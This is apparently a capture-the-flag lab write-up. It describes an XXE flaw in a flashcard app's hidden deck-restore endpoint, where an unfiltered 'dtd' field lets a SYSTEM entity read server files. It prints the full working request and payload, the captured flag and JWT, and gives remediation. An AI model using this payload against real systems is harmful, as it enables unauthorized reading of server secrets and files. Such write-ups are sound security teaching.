Tanuki: XXE File Read via an Unfiltered DOCTYPE-Assembly Field
Severity: High (CVSS 8.6)
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N (PR:N reflects open self-registration; scoring PR:L instead yields 7.7, still High)
CWE: CWE-611 (Improper Restriction of XML External Entity Reference)
OWASP: A05:2021 Security Misconfiguration
1. Executive Summary
Tanuki is a Japanese flashcard application built around spaced repetition: a React single-page app over a Node.js/Express API with JWT authentication. Its hidden deck-restore endpoint reconstructs a backup XML document from a JSON body and parses it. The obvious parse path, the per-field XML values, correctly rejects external entity declarations. A second, undocumented dtd JSON field is inserted raw into the document’s DOCTYPE internal subset and receives no such filter. Declaring a SYSTEM entity in that field and referencing it from a stored field returns the target file’s contents in the created deck, giving arbitrary server-side file read to any account that can register. The flag was located at /app/flag.txt.
2. Target Reconnaissance
2.1 Technology Stack
| Component | Details |
|---|---|
| Frontend | React single-page app (Create React App bundle, source map exposed) |
| Backend | Node.js / Express (X-Powered-By: Express) |
| Auth | JWT (HS256), claims {id, username, iat}; role resolved from DB by id, not carried in the token |
| Data export | XML backup with an empty DOCTYPE internal subset (<!DOCTYPE backup [ ]>) |
| Database | SQLite |
2.2 Discovered API Endpoints
POST /api/register, /api/login Authentication (open registration)
POST /api/verify-token Token validation
GET /api/decks List decks
GET /api/decks/:id Get deck details
GET /api/decks/:id/backup Export deck as XML backup
POST /api/decks/:id/restore Hidden: create a deck from a JSON body (vulnerable)
GET /api/admin/* Admin CRUD (403 without admin role)
2.3 Backup XML Structure
GET /api/decks/:id/backup returns application/xml shaped like this:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE backup [
]>
<backup>
<name>...</name>
<description>...</description>
<category>...</category>
<cards>
<card><front>...</front><back>...</back></card>
</cards>
</backup>
The empty <!DOCTYPE backup [ ]> internal subset, with nothing between the brackets, is the key recon tell. An emitted document that ships an empty internal subset is a strong hint that a client-supplied field is meant to fill that gap on the way back in through restore.
3. Vulnerability Discovery
3.1 Hidden Endpoint: POST /api/decks/:id/restore
The restore endpoint is not referenced anywhere in the client bundle or its source map (the visible client code covers AdminDashboard.js, Dashboard.js, and the documented deck views). It is backend-only, reached by testing the documented backup feature’s inverse. It requires authentication, ignores the :id path parameter, ignores non-JSON body formats, and creates a new deck from a JSON body:
{
"name": "...",
"description": "...",
"category": "...",
"cards": [{"front": "...", "back": "..."}]
}
Every request creates a new deck (the URL :id is never overwritten) and returns:
{"id": N, "message": "Backup restored successfully", "cards_count": N}
3.2 JSON to XML to JSON Round-Trip
The field values are XML-parsed server-side rather than stored as plain strings. Submitting markup in a field value confirms it:
Input: {"name": "<a>b</a>"}
Stored: name = "[object Object]"
The injected element caused the parser to produce a nested object, stringified as "[object Object]" at storage. The endpoint accepts JSON, builds an XML backup document from it, parses that document, and reads the parsed values back into the database.
3.3 Internal Entity Resolution Works
A field value containing a document type declaration plus a bare entity reference, with no surrounding root element, resolves the entity to text:
Input: {"name": "<!DOCTYPE r [<!ENTITY e \"CANARY\">]>&e;"}
Stored: name = "CANARY"
The parser resolves internally declared general entities. An element-wrapped reference stores [object Object] instead, so the reference has to be delivered bare.
3.4 External Entities Are Rejected on the Field-Value Path
The same technique with a SYSTEM entity is rejected:
{"name": "<!DOCTYPE r [<!ENTITY x SYSTEM \"file:///etc/hostname\">]>&x;"}
=> 400 Invalid backup format
The declaration is rejected even when it is declared but never referenced, so the rejection happens at declaration, not at expansion. A discriminator test isolates the mechanism: placing the same <!ENTITY ... SYSTEM> declaration inside an XML comment returns 200. A string blocklist would still match the bytes inside a comment; the fact that the comment passes proves the XML parser itself is rejecting the external declaration on this path, not a substring filter. This path is a hardened decoy.
3.5 The Hidden dtd Field Fills the DOCTYPE Internal Subset
That field is dtd. The name is not brute-forced (it does not reflect its own value, since it seeds the parser rather than being echoed, which is why parameter-name fuzzing for a reflected marker never surfaces it) but reasoned from the format: the export’s empty internal subset is a DTD-shaped gap, so a field named for the DTD is the natural candidate, and dtd is the one that fires. The confirmation is not an echo but a shape change: an entity declared in dtd and referenced from a sibling field resolves. Critically, the dtd field is a separate parse path from the field values, and it is not subject to the external-entity rejection seen in 3.4. Two parse paths, only one filtered. In the exploit that follows, name = &xxe; is inert on the field-value parse, where the entity is undefined, and resolves only in the outer document assembled with the dtd declaration.
3.6 XXE Trigger: Flag Read
Declaring the external entity in dtd and referencing it from name reads the file:
Request:
POST /api/decks/1/restore HTTP/2
Host: lab-1784604064733-sd8edl.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJ0YW51a2lfMTQ3NDciLCJpYXQiOjE3ODQ2MDQxNzJ9.ly-zO2y3PbizKaC1DzhG9wB9Vb_A10ObKH21ykahV08
{"name":"&xxe;","description":"pwn","category":"pwn","dtd":"<!ENTITY xxe SYSTEM \"file:///app/flag.txt\">"}
Response (new deck created):
{"id":7,"message":"Backup restored successfully","cards_count":0}
Read-back (GET /api/decks/7):
{"id":7,"name":"bug{YzORW7D6g7PjqINcRzLfCppmvSzYTbJr}","description":"pwn","category":"pwn","created_at":"2026-07-21 03:23:19","card_count":0}
The dtd field is inserted raw into <!DOCTYPE backup [ <dtd> ]>, the parser resolves &xxe; inside <name> to the contents of /app/flag.txt, and the value is stored as the new deck’s name. Swapping the file:// path reads any other file the application process can open.
Flag: bug{YzORW7D6g7PjqINcRzLfCppmvSzYTbJr}
4. Attack Path Summary
┌───────────────┐ ┌────────────────────────┐ ┌────────────────────────┐ ┌────────────────────┐
│ Register │ │ POST /decks/1/restore │ │ Server assembles │ │ GET /api/decks/7 │
│ any account │ ──▶ │ dtd = SYSTEM entity │ ──▶ │ <!DOCTYPE backup │ ──▶ │ deck name = file │
│ → JWT (id 5) │ │ name = &xxe; │ │ [ <dtd> ]> raw, then │ │ contents │
│ │ │ │ │ resolves &xxe; in name │ │ = bug{...} flag │
└───────────────┘ └────────────────────────┘ └────────────────────────┘ └────────────────────┘
5. Root Cause
Source was not available; the following is inferred from observed behavior. The restore handler interpolates JSON fields into an XML template without escaping, then parses the result with a DTD-enabled XML parser (identity not confirmed from the client) that resolves external entities. The dtd field is placed directly into the DOCTYPE internal subset, handing the attacker control of the DTD, while the entity-rejection applied to the field values is not applied to that path.
// Inferred vulnerable flow (not observed source)
const { name, description, category, cards, dtd } = req.body;
const xml = `<?xml version="1.0"?>
<!DOCTYPE backup [
${dtd || ''}
]>
<backup>
<name>${name}</name>
<description>${description}</description>
...
</backup>`;
const parsed = parser.parseString(xml); // DTD-enabled, resolves SYSTEM entities
// parsed values are read back and inserted into the database
6. Impact
Arbitrary server-side file read as any registered user, exposing the flag, application source, environment secrets, and system files such as /etc/passwd. Registration is open and self-serve, so the authenticated precondition is a formality.
7. Remediation
The field-value path already rejects external entities; the reliable fix is to apply the same hardening to every parse the endpoint performs. Disabling document type declarations outright closes both entity resolution and the internal-subset injection at once. The code below is a libxmljs example; apply the equivalent options for whichever parser is actually in use.
// BEFORE (Vulnerable): parser resolves external entities in the assembled DOCTYPE
const doc = libxml.parseXml(xmlString, { noent: true });
// AFTER (Secure): reject DTDs; never resolve entities or load external resources
const doc = libxml.parseXml(xmlString, {
noent: false, // do not substitute entities
dtdload: false, // do not load external DTDs
nonet: true, // no network access from the parser
});
if (doc.getDtd()) {
throw new Error("DTD not permitted in backup documents");
}
| # | Recommendation |
|---|---|
| 1 | Disable DTD processing and external entity resolution across every parse path, not just the field values |
| 2 | Do not assemble a DOCTYPE from client input. Remove the dtd field, or emit a fixed server-side DOCTYPE and discard any client value |
| 3 | Validate the restore body against a strict allowlist schema and reject unknown keys such as dtd |
| 4 | Build XML from a real builder library that escapes interpolated values, rather than string templating |
8. Failed Approaches
| Approach | Result | Why it failed |
|---|---|---|
| External entity in a parsed field value (about 30 variants: case, whitespace, encoding, parameter-entity indirection) | 400 Invalid backup format | Parser-level rejection of the declaration; a comment-hidden declaration returned 200, proving it is the parser, not a substring filter |
| XInclude in a field value | Same response for a missing and a valid file | XInclude not processed by the parser |
| External DTD reference in the DOCTYPE | 200, no out-of-band callback | External subset allowed but never loaded; no network egress from the parser |
SQL injection on restore fields, the limit parameter, login, and admin CRUD |
Parameterized or cast to int throughout | limit looked injectable (1' returned 500) but was numeric coercion, not injection |
JWT alg=none / weak-secret forge, register role mass-assignment |
Invalid token; extra keys ignored | Role resolved from the database by id, not from the token |
| Hidden-field name fuzzing (6453 names across the response and stored-deck channels) | Zero reflection across roughly 13k requests | The dtd field seeds the parser rather than echoing, so reflection-based fuzzing could not surface it |
9. Indicators
| Indicator | Value |
|---|---|
| Target URL | https://lab-*.labs-app.bugforge.io/ (ephemeral, rotating subdomain) |
| Vulnerable endpoint | POST /api/decks/:id/restore |
| Hidden field name | dtd |
| XML parser | DTD-enabled; internal entities resolve on the field-value path, external entities on the DOCTYPE-assembly path (identity not confirmed) |
| Flag location | /app/flag.txt |
| Flag | bug{YzORW7D6g7PjqINcRzLfCppmvSzYTbJr} |
Tags: xxe dtd-injection file-read cwe-611 bugforge
Document Version: 1.0
Last Updated: 2026-07-21